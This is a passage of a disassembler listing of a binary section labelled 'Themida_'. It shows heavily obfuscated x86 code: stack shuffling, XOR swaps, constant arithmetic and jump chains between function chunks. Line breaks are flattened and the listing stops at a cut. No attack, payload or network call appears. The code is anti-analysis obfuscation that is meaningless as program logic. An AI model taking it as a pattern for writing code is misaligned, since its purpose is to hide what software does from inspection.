; END OF FUNCTION CHUNK FOR sub_56C86A ; --------------------------------------------------------------------------- loc_566564: ; CODE XREF: Themida_:0056F9BBj push 45B2h mov [esp], edi mov edi, 0A2A0282h add edi, 72700369h jmp loc_56FD44 ; =============== S U B R O U T I N E ======================================= sub_56657C proc near ; CODE XREF: sub_56EBD2-F394j push ebx jmp loc_56822D sub_56657C endp ; --------------------------------------------------------------------------- loc_566582: ; CODE XREF: Themida_:005611D5j add esi, ebp pop ebp xchg esi, [esp] mov esp, [esp] jmp loc_564ABF ; --------------------------------------------------------------------------- loc_566590: ; CODE XREF: Themida_:0055BA67j push edi jmp loc_56DAE9 ; --------------------------------------------------------------------------- loc_566596: ; CODE XREF: Themida_:0055D8CAj mov ecx, 13AA05A3h push ebp mov ebp, 7A18313Ah or ebp, 265B1119h sub ebp, 67BE431Eh jmp loc_55F914 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55D71E loc_5665B2: ; CODE XREF: sub_55D71E+11EACj pop esp push 5050h mov [esp+0], ebx push eax jmp loc_56C80A ; END OF FUNCTION CHUNK FOR sub_55D71E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_5665C1: ; CODE XREF: sub_56F7FC-546Dj push [esp-4+arg_0] pop ecx add esp, 4 jmp loc_560CBD ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EE26 loc_5665D0: ; CODE XREF: sub_56EE26+3j push edx jmp loc_56A04F ; END OF FUNCTION CHUNK FOR sub_56EE26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5665D6: ; CODE XREF: sub_56755A+1D22j xchg eax, [esp+16h+var_18+2] jmp loc_55B718 ; --------------------------------------------------------------------------- loc_5665DE: ; CODE XREF: sub_56755A-3EF5j mov [esp+8+var_8], eax push esp pop eax jmp loc_563BF7 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B5E8 loc_5665E8: ; CODE XREF: sub_56B5E8-B6DFj inc edi sub edi, 407001FDh mov ebx, edi jmp loc_5697A9 ; END OF FUNCTION CHUNK FOR sub_56B5E8 ; --------------------------------------------------------------------------- loc_5665F6: ; CODE XREF: Themida_:00569E00j mov esp, [esp] push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop ecx push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp push edi mov edi, esp add edi, 4 push esi push edi mov edi, 203DE6h mov esi, 0FFDFC21Eh jmp loc_56FE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F861 loc_56662E: ; CODE XREF: sub_55F861+1j mov ebx, 4 jmp loc_561E4B ; END OF FUNCTION CHUNK FOR sub_55F861 ; --------------------------------------------------------------------------- loc_566638: ; CODE XREF: Themida_:00560DA2j mov ecx, 4 add edx, ecx pop ecx push esi mov esi, 4 add edx, esi pop esi xchg edx, [esp] pop esp jmp loc_569ADB ; --------------------------------------------------------------------------- loc_566652: ; CODE XREF: Themida_:0056AE55j shl ebx, 4 sub ebx, 1F08379Ch add ebx, 99F5C7A2h sub ebp, ebx pop ebx jmp loc_56536C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_566669: ; CODE XREF: sub_56755A-7708j push [esp+4+var_4] jmp loc_56C925 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_566671: ; CODE XREF: Themida_:0055DB17j mov ebp, esi pop esi dec ebp jmp loc_55E441 ; =============== S U B R O U T I N E ======================================= sub_56667A proc near ; CODE XREF: sub_56755A-7B36j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055F2CF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055F7DE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00563C77 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005659C9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00568E42 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00569119 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00569332 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00569B09 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056D286 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0056ED4F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056F8F3 SIZE 00000019 BYTES push ebp jmp loc_569119 sub_56667A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_566680: ; CODE XREF: sub_56755A+A32j add esp, 4 add edi, 6D74DDh shr edi, 4 sub edi, 8AEA9BF7h mov edx, edi jmp loc_55C235 ; --------------------------------------------------------------------------- loc_56669C: ; CODE XREF: sub_56755A-66B9j add edi, 47AE6A33h jmp loc_569247 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5666A7: ; CODE XREF: Themida_:00568E21j sub cl, 0A0h add cl, dl add cl, 0A0h pop edx sub esp, 2 mov [esp], cx not byte ptr [esp] jmp loc_56BFFB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5666C2: ; CODE XREF: sub_56755A-540j pop edx push ecx mov ecx, 2C063C63h and ecx, 15321EF2h push ecx inc [esp+0Ch+var_C] pop ecx xor ecx, 4BC5E57h jmp loc_55CEB7 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5666DF: ; CODE XREF: Themida_:00565A03j pop ebx add esp, 4 push ecx mov ecx, 4 push ecx mov ecx, 5D7A54BFh jmp loc_5672C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565C92 loc_5666F4: ; CODE XREF: sub_565C92-12FAj pop ebx push edi mov edi, esp add edi, 4 jmp loc_56767E ; END OF FUNCTION CHUNK FOR sub_565C92 ; --------------------------------------------------------------------------- loc_566703: ; CODE XREF: Themida_:00563C9Ej xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] bt [esp], ax pushf jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55EA9F loc_56671A: ; CODE XREF: sub_55EA9F+10440j pop edx add ebp, esi pop esi push esi jmp loc_5692BE ; END OF FUNCTION CHUNK FOR sub_55EA9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_566724: ; CODE XREF: sub_56755A+8F4j xor esi, [esp+8+var_8] xor [esp+8+var_8], esi xor esi, [esp+8+var_8] mov esp, [esp+8+var_8] mov [esp+8+var_8], edx jmp loc_55FA83 ; --------------------------------------------------------------------------- loc_566738: ; CODE XREF: sub_56755A-A1BDj pop eax jmp loc_56DCA4 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56673E: ; CODE XREF: Themida_:00563431j mov edi, 20D5645h jmp loc_56B9B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5607D3 loc_566748: ; CODE XREF: sub_5607D3+3878j add esp, 4 xor ecx, 243B23A9h pop ebx push ebp mov ebp, 29BB64DEh jmp loc_567400 ; END OF FUNCTION CHUNK FOR sub_5607D3 ; --------------------------------------------------------------------------- loc_56675D: ; CODE XREF: Themida_:00564BA6j add eax, ebx jmp loc_564DD5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56626C loc_566764: ; CODE XREF: sub_56626C+234Dj push 487Bh mov [esp+4+var_4], ecx mov ecx, 3FCh push 6AC5h mov [esp+8+var_8], ebp mov ebp, 8342405h jmp loc_567AEC ; END OF FUNCTION CHUNK FOR sub_56626C ; --------------------------------------------------------------------------- loc_566783: ; CODE XREF: Themida_:00565BCFj mov eax, 0D325A5Ch sub ebx, eax pop eax jmp loc_56904D ; --------------------------------------------------------------------------- loc_566790: ; CODE XREF: Themida_:0056F092j sub eax, 4 xchg eax, [esp] pop esp push 77E3h mov [esp], esp push eax mov eax, 4 add dword ptr [esp+4], 5D1276E5h add [esp+4], eax sub dword ptr [esp+4], 5D1276E5h pop eax jmp loc_56C0D3 ; --------------------------------------------------------------------------- loc_5667C1: ; CODE XREF: Themida_:005641DFj mov [esp], edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 jmp loc_560407 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5667DD: ; CODE XREF: sub_56755A-9A6Bj sub ebx, eax jmp loc_55B6E8 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F50 loc_5667E4: ; CODE XREF: sub_562F50+2879j xchg ebx, edx not ebx xchg ebx, edx sub edx, 0BF14ABFFh mov eax, edx pop edx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+4+var_4] jmp loc_55F8BE ; END OF FUNCTION CHUNK FOR sub_562F50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56680A: ; CODE XREF: sub_56755A-BE6Bj push ecx mov ecx, 12C111E0h add ebx, ecx pop ecx add ebx, edi sub ebx, 12C111E0h sub esp, 4 mov [esp+8+var_8], esi mov esi, 48A52390h shr esi, 5 sub esi, 9C5102F8h sub ebx, esi pop esi sub esp, 4 mov [esp+8+var_8], esi mov esi, 7E1910F0h jmp loc_55F320 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_566845: ; CODE XREF: Themida_:0055D179j pop eax pop dword ptr [esp] xor eax, ebp xor ebp, eax xor eax, ebp xor ebp, ebx xor ebx, ebp xor ebp, ebx not ebx xor ebp, ebx xor ebx, ebp xor ebp, ebx push eax push 291Ah mov [esp], ebp pop eax pop ebp xchg eax, [esp] jmp loc_55B555 ; --------------------------------------------------------------------------- loc_566870: ; CODE XREF: Themida_:0056EBE7j mov edi, esp jmp loc_55F3D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_566877: ; CODE XREF: sub_56755A+4B13j mov edx, 4728494Eh jmp loc_563CE4 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F13C loc_566881: ; CODE XREF: sub_56F13C+8j pop ebx sub eax, 1 jmp loc_5617A6 ; END OF FUNCTION CHUNK FOR sub_56F13C ; --------------------------------------------------------------------------- loc_56688C: ; CODE XREF: Themida_:00560F25j xchg ebp, [esp] jmp loc_56D521 ; =============== S U B R O U T I N E ======================================= sub_566894 proc near ; CODE XREF: sub_5644A0-6EF0j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056E742 SIZE 00000010 BYTES sub esp, 4 mov [esp+4+var_4], eax mov eax, 63E85976h and eax, 0FA510E5h dec eax jmp loc_56E742 sub_566894 endp ; --------------------------------------------------------------------------- loc_5668AD: ; CODE XREF: Themida_:00562118j add edx, 79274532h or edx, 65FB7D81h shr edx, 3 jmp loc_55C3F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_5668C1: ; CODE XREF: sub_566504-472Aj push edx push edi push ebx mov ebx, 31D34E26h add ebx, 0CE2CB1DAh mov edi, ebx jmp loc_560290 ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- loc_5668D6: ; CODE XREF: Themida_:0055EFF5j xor edi, 0F7B29E3Ch xor ecx, edi mov edi, [esp] jmp loc_562949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D4B loc_5668E6: ; CODE XREF: sub_568D4B-1EE1j xchg ebx, [esp+0] pop esp sub esp, 4 mov [esp+0], ebp push [esp+arg_0] pop ebp jmp loc_55D79F ; END OF FUNCTION CHUNK FOR sub_568D4B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AE72 loc_5668FA: ; CODE XREF: sub_56AE72-4B15j sub eax, 73520DFh mov edi, [esp+0] jmp loc_55E401 ; END OF FUNCTION CHUNK FOR sub_56AE72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_566907: ; CODE XREF: sub_56755A-1AB8j not bl jmp loc_56E129 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56690E: ; CODE XREF: Themida_:005635B5j xor edx, ebx pop ebx mov esi, edx mov edx, [esp] jmp loc_55B78C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561C3A loc_56691B: ; CODE XREF: sub_561C3A+1AD5j mov edi, 4BF708B0h xor edi, 375B0793h jmp loc_55F5FA ; END OF FUNCTION CHUNK FOR sub_561C3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56692B: ; CODE XREF: sub_56755A+3434j mov ebp, [esp-0Ch+arg_8] add esp, 4 xchg edx, [esp-10h+arg_C] mov esp, [esp-10h+arg_C] sar [esp-10h+arg_C], cl pushf jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5706E9 loc_566940: ; CODE XREF: sub_5706E9-7834j xor eax, esi jmp loc_569431 ; END OF FUNCTION CHUNK FOR sub_5706E9 ; --------------------------------------------------------------------------- lodsd xor eax, ebx jmp loc_568388 ; --------------------------------------------------------------------------- loc_56694F: ; CODE XREF: Themida_:00563E99j sub eax, 2021FFFCh add edi, eax pop eax sub edi, 4 xchg edi, [esp] pop esp mov [esp], eax jmp loc_55E397 ; --------------------------------------------------------------------------- loc_566969: ; CODE XREF: Themida_:00570560j inc edx push 7A9Eh jmp loc_5680E4 ; --------------------------------------------------------------------------- loc_566974: ; CODE XREF: Themida_:00568ED2j add ebp, 6290FF3h add ebp, eax push ecx jmp loc_560FB9 ; --------------------------------------------------------------------------- loc_566982: ; CODE XREF: Themida_:00561CD0j push bx mov bh, 0D5h mov dl, bh pop bx jmp loc_56E6B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F50 loc_56698F: ; CODE XREF: sub_562F50-367Bj mov eax, 0 jmp loc_568F8B ; END OF FUNCTION CHUNK FOR sub_562F50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_566999: ; CODE XREF: sub_56755A-62EDj push esi pop ebp jmp loc_561640 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5669A0: ; CODE XREF: Themida_:0056B0C9j mov edx, 25B045D6h mov ecx, edx jmp loc_569E7E ; --------------------------------------------------------------------------- loc_5669AC: ; CODE XREF: Themida_:005649B7j mov [esp], edx push ebp mov ebp, 43EF79AFh mov edx, ebp pop ebp xor eax, edx pop edx jmp loc_569BFB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_5669C0: ; CODE XREF: sub_56CB7D-FEFAj push ecx jmp loc_56B4A5 ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- loc_5669C6: ; CODE XREF: Themida_:0056169Cj push dword ptr [esp+4] push dword ptr [esp] pop edi add esp, 4 pop dword ptr [esp] pop esp jmp loc_55D936 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55D71E loc_5669DD: ; CODE XREF: sub_55D71E+32F8j mov ebx, [esp+8+var_8] add esp, 4 pop ecx push edx mov dl, ah sub esp, 4 mov [esp+8+var_8], eax mov al, dl sub esp, 4 jmp loc_567544 ; END OF FUNCTION CHUNK FOR sub_55D71E ; --------------------------------------------------------------------------- loc_5669FD: ; CODE XREF: Themida_:0056DB53j push 7114h mov [esp], ebp jmp loc_569711 ; --------------------------------------------------------------------------- loc_566A0A: ; CODE XREF: Themida_:0056545Fj add eax, 4 push edx mov edx, 4 jmp loc_568500 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD48 loc_566A1A: ; CODE XREF: sub_56CD48-8582j mov [esp+0], ebx push dword ptr [esp+0] mov eax, [esp+4+var_4] add esp, 4 push 6D5Ch mov [esp+4+var_4], ebp push esp jmp loc_569B85 ; END OF FUNCTION CHUNK FOR sub_56CD48 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_566A34: ; CODE XREF: sub_56755A-8B12j push 492Bh jmp loc_561A93 ; --------------------------------------------------------------------------- loc_566A3E: ; CODE XREF: sub_56755A-2E20j mov ebp, 73686A0Bh sub esi, ebp pop ebp pop edi xor esi, [esp+4+var_4] xor [esp+4+var_4], esi xor esi, [esp+4+var_4] pop esp mov [esp+0], esi jmp loc_55E92B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_566A59: ; CODE XREF: Themida_:0055BBF8j push cx mov cl, 0ABh add bl, cl pop cx xor cl, bl pop ebx add cl, 0CFh jmp loc_55BC0D ; --------------------------------------------------------------------------- loc_566A6C: ; CODE XREF: Themida_:0056B6E1j push ecx jmp loc_56D4C5 ; --------------------------------------------------------------------------- loc_566A72: ; CODE XREF: Themida_:0056555Cj pop edi add ebp, eax pop eax mov edx, ebp pop ebp xor edx, 7D125F7Eh add eax, edx mov edx, [esp] jmp loc_570579 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562272 loc_566A89: ; CODE XREF: sub_562272+D427j neg edi jmp loc_563D95 ; END OF FUNCTION CHUNK FOR sub_562272 ; --------------------------------------------------------------------------- loc_566A90: ; CODE XREF: Themida_:005639B5j push ebp xor dword ptr [esp], 0CC47D2Ah mov ecx, [esp] add esp, 4 xor ecx, 0CC47D2Ah mov ebp, [esp] add esp, 4 jmp loc_566E31 ; --------------------------------------------------------------------------- loc_566AB2: ; CODE XREF: Themida_:0056A541j mov eax, 3E2278FEh jmp loc_56D720 ; --------------------------------------------------------------------------- loc_566ABC: ; CODE XREF: Themida_:0056BCCDj mov ebp, 4 mov eax, ebp pop ebp add edi, eax pop eax sub edi, 4 jmp loc_563B38 ; --------------------------------------------------------------------------- loc_566ACF: ; CODE XREF: Themida_:0055D1CDj mov bl, 0Ah jmp loc_56CC05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563973 loc_566AD6: ; CODE XREF: sub_563973-DDj mov ecx, [edx] pop edx push eax push 1809h mov [esp+0], ecx jmp loc_56EB9D ; END OF FUNCTION CHUNK FOR sub_563973 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_566AE7: ; CODE XREF: sub_56755A+6D59j pop edi sub edi, 0F9FE5A52h add esi, 4493565Bh jmp loc_55B623 ; --------------------------------------------------------------------------- loc_566AF9: ; CODE XREF: sub_56755A+1F8j mov eax, esp push ecx mov ecx, 4 add eax, ecx pop ecx add eax, 4 jmp loc_561D55 ; --------------------------------------------------------------------------- loc_566B0C: ; CODE XREF: sub_56755A-60D9j add edi, ecx push dword ptr [esp+0] pop ecx add esp, 4 xchg edi, [esp-4+arg_0] mov esp, [esp-4+arg_0] add word ptr [esp-4+arg_0], ax pushf jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_566B28: ; CODE XREF: Themida_:0055FD1Aj not ebp inc ebp jmp loc_560C80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560DA7 loc_566B30: ; CODE XREF: sub_560DA7+D294j mov eax, 4 jmp loc_56FB23 ; END OF FUNCTION CHUNK FOR sub_560DA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B5E8 loc_566B3A: ; CODE XREF: sub_56B5E8-1E38j add ecx, ebx sub ecx, 39FC4D54h jmp loc_565FC1 ; END OF FUNCTION CHUNK FOR sub_56B5E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB1B loc_566B47: ; CODE XREF: sub_56CB1B-5A7Aj mov ebp, [esp+8+var_8] add esp, 4 neg ebx jmp loc_55D644 ; END OF FUNCTION CHUNK FOR sub_56CB1B ; --------------------------------------------------------------------------- loc_566B54: ; CODE XREF: Themida_:0056A14Bj sub [esp+8], ebx jmp loc_565E38 ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_55B555 ; --------------------------------------------------------------------------- loc_566B64: ; CODE XREF: Themida_:00564207j inc ecx xor ecx, 2A582E8Bh jmp loc_56F7AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_566B70: ; CODE XREF: sub_56755A+7C6Dj add eax, 4 xchg eax, [esp+0] jmp loc_56E529 ; --------------------------------------------------------------------------- loc_566B7B: ; CODE XREF: sub_56755A-5421j mov eax, 4 add ecx, eax mov eax, [esp+18h+var_18] add esp, 4 xchg ecx, [esp+14h+var_14] pop esp mov ebx, [esp+10h+var_10] jmp loc_560BB8 ; --------------------------------------------------------------------------- loc_566B97: ; CODE XREF: sub_56755A-B54Dj add eax, 1AE861DBh jmp loc_564821 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_566BA1: ; CODE XREF: Themida_:0056CCECj add al, 4Dh jmp loc_56C516 ; --------------------------------------------------------------------------- loc_566BA8: ; CODE XREF: Themida_:00560ACAj push ebp jmp loc_56F356 ; --------------------------------------------------------------------------- loc_566BAE: ; CODE XREF: Themida_:00569FE0j add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, 17697335h add ebx, 0DEF551Fh shl ebx, 8 push esi push 58C853FEh pop esi push esi mov esi, 5E6846B7h jmp loc_56FB0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56026A loc_566BD7: ; CODE XREF: sub_56026A+2EFj mov ebp, [esp+0Ch+var_C] add esp, 4 xor ecx, [esp+8+var_8] xor [esp+8+var_8], ecx xor ecx, [esp+8+var_8] mov esp, [esp+8+var_8] idiv ecx jmp loc_56E8E6 ; END OF FUNCTION CHUNK FOR sub_56026A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB1B loc_566BF0: ; CODE XREF: sub_56CB1B-7A72j add [esp+8+var_8], 48111039h mov ecx, [esp+8+var_8] push eax mov eax, esp jmp sub_562F50 ; END OF FUNCTION CHUNK FOR sub_56CB1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565996 loc_566C02: ; CODE XREF: sub_565996+9B9Ej pop esi push ebp mov ebp, 1E1E2584h inc ebp dec ebp jmp sub_56026A ; END OF FUNCTION CHUNK FOR sub_565996 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_566C10: ; CODE XREF: sub_56755A-60BFj xor [esp-8+arg_4], edx xor edx, [esp-8+arg_4] mov esp, [esp-8+arg_4] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-4+arg_0] pop esp push edx push esp pop edx add edx, 4 push esi mov esi, 69456D0Fh not esi push eax mov eax, 1BBD37EEh add eax, 4D883526h add esi, eax pop eax jmp loc_56F0E1 ; --------------------------------------------------------------------------- loc_566C50: ; CODE XREF: sub_56755A-5149j push ecx mov ecx, 0A0252C5h sub ecx, 2C890890h shr ecx, 1 neg ecx jmp loc_560C4D ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_566C65 proc near ; CODE XREF: sub_565F9F+765Cj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055E945 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0055F092 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00564755 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0056AEA6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0056B895 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056CDBA SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056F0E8 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056FD00 SIZE 00000023 BYTES sub esp, 4 jmp loc_56CDBA sub_566C65 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_566C70: ; CODE XREF: sub_56755A-4237j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-6+arg_0+2] pop esp add bl, 4Ah jmp loc_55D6B0 ; --------------------------------------------------------------------------- loc_566C8A: ; CODE XREF: sub_56755A-A5BBj mov ecx, [esp-4+arg_0] add esp, 4 sub esp, 4 mov [esp-4+arg_0], ebx mov ebx, 0D4623F7h xor ecx, ebx pop ebx jmp loc_55E559 ; --------------------------------------------------------------------------- loc_566CA9: ; CODE XREF: sub_56755A+89C9j xor ecx, ebx pop ebx and ecx, 61B469B8h and ecx, 363E64B4h jmp loc_561B78 ; --------------------------------------------------------------------------- loc_566CBD: ; CODE XREF: sub_56755A+2CB3j add eax, 4 xchg eax, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] push ebx mov ebx, esp push ecx mov ecx, 4 add ebx, ecx pop ecx sub ebx, 4 xchg ebx, [esp-8+arg_4] jmp loc_56D87B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_566CE0: ; CODE XREF: Themida_:0056A743j push esp jmp loc_55EE7E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B774 loc_566CE6: ; CODE XREF: sub_56B774-9A95j add esi, ebx pop ebx push eax push ecx mov ecx, 43486F82h shr ecx, 5 push edi mov edi, 17414AAAh add ecx, 0EA51BB9h add ecx, edi jmp loc_56D7C0 ; END OF FUNCTION CHUNK FOR sub_56B774 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_566D06: ; CODE XREF: sub_56CB7D-DC0Dj mov edi, 237DF24Ch add esi, 49BF748Ch add esi, edi sub esi, 49BF748Ch pop edi and eax, esi push dword ptr [esp+0] pop esi push ecx push esp pop ecx jmp loc_56E458 ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- loc_566D28: ; CODE XREF: Themida_:00563E2Dj push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] push dword ptr [esp] jmp loc_560380 ; --------------------------------------------------------------------------- loc_566D44: ; CODE XREF: Themida_:00562FADj not eax add eax, 12022C03h jmp loc_55F0DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561C3A loc_566D50: ; CODE XREF: sub_561C3A-4133j xchg esi, [esp-4+arg_0] mov esp, [esp-4+arg_0] push edi jmp loc_55F52A ; END OF FUNCTION CHUNK FOR sub_561C3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563973 loc_566D5C: ; CODE XREF: sub_563973+Cj xor ebx, 0AE50C40h add edx, ebx jmp loc_565A38 ; END OF FUNCTION CHUNK FOR sub_563973 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D164 loc_566D69: ; CODE XREF: sub_56D164+2E9j sub ebx, 53487187h or ebx, 7F7B42CBh shl ebx, 1 jmp loc_569E21 ; END OF FUNCTION CHUNK FOR sub_56D164 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5635DE loc_566D7C: ; CODE XREF: sub_5635DE+3B4j xor ecx, [esp+8+var_8] pop esp mov [esp+4+var_4], esp push edx mov edx, 4 add [esp+8+var_4], edx push [esp+8+var_8] jmp loc_570200 ; END OF FUNCTION CHUNK FOR sub_5635DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_566D95: ; CODE XREF: sub_56755A+33ECj xor edx, 64006D99h add eax, edx pop edx add eax, 3CEC2765h add eax, edx sub eax, 3CEC2765h sub eax, 6C696B4Bh pop edx jmp loc_568BF0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_566DB5: ; CODE XREF: Themida_:00560458j add esp, 4 sub esp, 4 jmp loc_56F29C ; =============== S U B R O U T I N E ======================================= sub_566DC6 proc near ; CODE XREF: sub_56755A+2C29j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00562490 SIZE 00000014 BYTES sub esp, 4 mov [esp+4+var_4], ebx mov ebx, 662793Ch push ebp mov ebp, 3C9B2A57h add ebp, 678021A2h and ebp, 73B614BBh shr ebp, 4 not ebp jmp loc_562490 sub_566DC6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_566DF0: ; CODE XREF: sub_56971C-6407j sub ebp, 4A5C0A93h push edx mov edx, 2DDF7227h add edx, 32E059B5h or edx, 64A61C99h neg edx add edx, 0BB460E76h sub ebp, edx pop edx shl ebp, 3 xor ebp, 46A05233h xor ebp, 0CA627B77h add ecx, ebp jmp loc_563B5B ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- loc_566E29: ; CODE XREF: Themida_:00561CFFj sub ebx, 4 jmp loc_56E853 ; --------------------------------------------------------------------------- loc_566E31: ; CODE XREF: Themida_:00566AADj sub ecx, 42D67CF5h jmp loc_56CAAE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B774 loc_566E3C: ; CODE XREF: sub_56B774+ED3j push esi push [esp+0Ch+var_8] jmp loc_55C743 ; END OF FUNCTION CHUNK FOR sub_56B774 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55C719 loc_566E46: ; CODE XREF: sub_55C719+357Dj mov edx, [esp+0Ch+var_C] add esp, 4 jmp loc_564C5B ; END OF FUNCTION CHUNK FOR sub_55C719 ; --------------------------------------------------------------------------- ; START 